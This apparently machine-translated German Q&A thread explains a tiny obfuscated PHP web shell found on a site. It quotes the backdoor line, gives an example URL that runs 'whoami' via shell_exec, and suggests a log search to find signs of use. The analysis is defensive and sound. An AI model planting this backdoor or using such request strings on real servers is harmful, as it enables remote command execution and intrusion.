2015-09-25 8 views

Antwort

9

Es ist eine PHP-Shell. Wenn Sie es in die URL-Datei umschreiben.php? 2 = shell_exec & 1 = whoami führt den Befehl whoami auf der Shell. In Ihrem Beispiel wird ein Parameter von POST übergeben, einer von GET. Es ist also ein bisschen schwieriger zu telefonieren.

Sie könnten auch andere Funktionen damit aufrufen. Der erste Parameter ist immer der Funktionsname, der zweite ist ein Parameter für die aufgerufene Funktion.

Offenbar ist es auf http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) erklärt, aber die Seite lädt nicht für mich.

/bearbeiten: Wenn Sie Zugriff auf die Serverprotokolldateien haben, können Sie sie durchsuchen, um festzustellen, ob der Hacker diese Shell verwendet hat. Ein einfacher egrep "(& | \?) 2 =. +" Logs * auf der Shell sollte funktionieren. Sie sehen nur die Hälfte des ausgeführten Befehls (nur GET, nicht POST), aber vielleicht hilft dies, um festzustellen, ob der Angreifer tatsächlich sein Skript verwendet hat.

PS: Das vor hier beantwortet wurde

+0

"hier" wo? Ich glaube, du hast den Link vergessen –

+0

Vielen Dank. Sehr gute Erklärung. In etwa 3 Minuten abstimmen. –

3

Lassen Sie uns dies ein wenig brechen:

([email protected]$_GET[page]).@$_($_POST[404]); Erstens ist dies zwei Ausdrücke mit der Zeit verknüpft werden: ().().

Im ersten Ausdruck, $_= , $_ ist eine Variable und wird = auf die Variable $_GET['page'] zugeordnet ist, oder vielleicht die Ausgabe einer anonymen Funktion es verweist. Wenn eine anonyme Funktion referenziert, unterdrückt die @ alle Fehler davon.

Der zweite Ausdruck, @$_($_POST[404]); beginnt mit Fehlerunterdrückung @ der anonymen Funktion $_, die Ihnen sagen kann jetzt ist eine anonyme Funktion aufgerufen wird, weil es gefolgt wird von ( ab. Das Argument, das an diese Funktion übergeben wird, ist $_POST['404'], und dann schließen die zweiten Klammern nur den Aufruf.

Also ich denke, Ihr Verdacht ist richtig; das sieht wie verschleierter Code aus, der harmlos oder als Teil der Site aussehen soll. Ich vermute, dass die Werte für und $_POST[404] vielleicht JavaScript-Strings sind, deren Echo auf der Seite Malware oder Adware installieren würde.

Sie können dies mehr debuggen, indem Sie die Werte dieser beiden Variablen betrachten und sehen, was sie sind.

Wie ich am besten feststellen kann, ohne die Werte in GET und POST zu kennen, wird die Variable $_ der Zeichenfolge zugewiesen, was jemand sein würde, der beim Laden der Seite in die URL sendet. So können sie den String-Namen beliebige-Funktion an die Website übergeben und haben sie in PHP-Bereich.

Dann führen sie diese beliebige Funktion auf dem $_POST['404'] Wert. Dieser Wert ist auch unabhängig vom Browser oder Benutzer POST s auf der Seite. Die Verkettung und äußere Klammer ().() könnte nur mehr Verschleierung sein, oder der Zweck dieses Codes könnte einfach sein, die Ergebnisse dieses Codes auf der Seite (zum Beispiel um Javascript zu injizieren) zu simulieren. Es ist aber auch möglich, dass sie bei jedem Streit, den sie haben, die gewünschte Funktion aufrufen. Ich kann das nicht nur durch einen Blick erkennen, aber jemand, der mit PHP vertrauter ist, könnte es wahrscheinlich tun.